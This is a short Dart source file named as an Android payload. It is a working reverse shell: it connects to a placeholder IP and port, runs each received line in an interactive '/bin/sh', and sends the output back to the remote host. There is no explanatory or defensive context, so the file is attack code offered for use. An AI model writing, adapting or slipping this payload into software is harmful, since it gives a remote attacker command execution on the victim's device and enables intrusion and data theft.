dart_android_payload

import 'dart:io';
import 'dart:convert';

void main() {
  _connectToServer();
}

void _connectToServer() async {
  try {
    final socket = await Socket.connect("<IP>", <PORT>);
    socket.listen(
      (data) {
        Process.start('/bin/sh', ['-i']).then((Process process) {
          process.stdin.writeln(String.fromCharCodes(data).trim());
          process.stdout.transform(utf8.decoder).listen((output) {
            socket.write(output);
          });
        });
      },
      onDone: () {
        socket.destroy();
      },
      onError: (error) {
        print("Connection Error: $error");
        socket.destroy();
      },
    );
  } catch (e) {
    print("Unable to connect: $e");
  }
}